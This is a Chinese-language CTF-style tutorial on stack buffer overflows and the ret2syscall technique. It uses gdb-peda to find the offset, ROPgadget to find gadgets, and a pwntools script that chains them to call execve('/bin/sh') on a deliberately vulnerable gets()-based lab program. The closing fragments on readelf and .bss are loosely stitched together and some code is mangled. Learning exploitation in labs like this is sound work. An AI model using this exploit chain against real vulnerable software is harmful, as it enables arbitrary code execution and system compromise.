定位返回地址的骚操作
首先用gdb挂起程序后,我们使用peda的辅助功能pattern_create生成一系列的字符串,然后将其输入,因为过长的字符串会导致程序栈溢出,函数会停在返回地址处报错(因为访问了一个错误的地址),因此我们就可以直观地知道返回地址被哪个地方的哪个字符串覆盖了,从而知道buf首地址到返回地址之间的偏移。
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
根据缓冲区的大小,来生成一串稍大的字符串,这里随便生成了长120的字符串保证栈溢出。接下来我们运行程序后输入这串字符
gdb-peda$ run
Starting program: /home/vancir/Downloads/example/ret2shellcode/ret2shellcode
No system for you this time !!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
这里我们输入了过长字符串,因此程序提示Segmentation fault,这时我们再看程序的EIP
EIP: 0x41384141 ('AA8A')
这时的EIP的值为0x41384141,也就是在返回地址上,因为访问了一个错误的地址,所以停了下来。这时我们只需要查询0x41384141(‘AA8A’)在我们之前生成的串中的偏移
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
就这样得到偏移为112,垃圾字符就可以直接填充为:a*112
什么是ret2syscall
来自:http://vancir.com/2017/08/03/ret2syscall%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E7%A4%BA%E4%BE%8B/
命令:ROPgadget --binary level4(文件名) --only "pop|ret"
ret2syscall即return to system call,与ret2text和ret2shellcode类似,即在返回地址处进行系统调用,关于系统调用,可以阅读维基百科上的相关介绍——系统调用Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。
操作系统实现系统调用的基本过程是:
应用程序调用库函数(API);
API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
中断处理函数返回到 API 中
API 将 EAX 返回给应用程序;
应用程序调用系统调用的过程是:
把系统调用的编号存入 EAX;
把函数参数存入其它通用寄存器;
触发 0x80 号中断(int 0x80)。
Linux System Call Table:
x86: https://www.cs.utexas.edu/~bismith/test/syscalls/syscalls32.html
xx86_64: https://filippo.io/linux-syscall-table/
ret2syscall示例代码
#include#includechar *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}
本节示例的漏洞程序可以从此处下载:ret2syscall
漏洞分析
那么我们现在要通过系统调用执行以下命令获得一个shell
execve("/bin/sh", NULL, NULL)
那么很明显,我们需要完成的目标有如下:
获得execve的系统调用号
将execve的系统调用号赋给eax寄存器
将第一个参数”/bin/sh”的地址赋值给ebx寄存器
第二个参数NULL赋值给ecx寄存器
第三个参数NULL赋值给edx寄存器
触发 0x80 号中断(int 0x80)
关于各个函数的系统调用号,我们可以根据这个手册进行查询:Linux Syscall Reference
我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。
那么我们如何将参数传递给各个寄存器呢?其实这里是利用到了 ROP(Return-oriented programming) 攻击技术,其实这是一种常见的代码复用技术,通过使用程序已有的机器指令(称之为gadget,注意,是机器指令),来劫持程序控制流。
那么我们接下来就进行演示吧。我通常使用ropgadget来帮助搜索gadgets
首先是控制eax的gadget
➜ ret2syscall ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
这里我们选择使用pop eax ; ret控制eax寄存器
0x080bb196 : pop eax ; ret
同理我们选择了下面这条gadgets,可以一次控制3个寄存器
➜ ret2syscall ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
接下来我们要查询"/bin/sh"以及int 0x80的地址
➜ ret2syscall ROPgadget --binary ret2syscall --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh
➜ ret2syscall ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
通常我们gadget的利用方法是address of gadget + param for register,那么接下来我们可以构造对应参数进行系统调用
攻击代码
#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()
这样我们就通过控制寄存器传入参数,模拟了系统调用执行execve("/bin/sh", NULL, NULL)的过程
通过在gdb下的vmmap命令,我们可以看到bss段对应的段具有可执行权限:
0x0804841c 0x08048758 rx-p /home/*****-*-*-*-**-*-*-*-*-*-*-*-*-*
0x08048154 0x080488c4 r--p /home/l *****-*-*-*-**-*-*-*-*-*-*-*-*-*
0x08049f08 0x0804a0e4 rw-p /home/l *****-*-*-*-**-*-*-*-*-*-*-*-*-*
通过以下命令能查看函数的相关信息
objdump -dj .plt (文件名)
objdump -R (文件名)
readelf -S level2(文件名),用于查询各个段的名称,地址,大小,偏移量和相应权限等
要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。
#!bash
$ readelf -S level2
There are 30 section headers, starting at offset 0x1148:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
……
[23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a020 001020 000008 00 WA 0 0 4
[26] .comment PROGBITS 00000000 001020 00002a 01 MS 0 0 1
……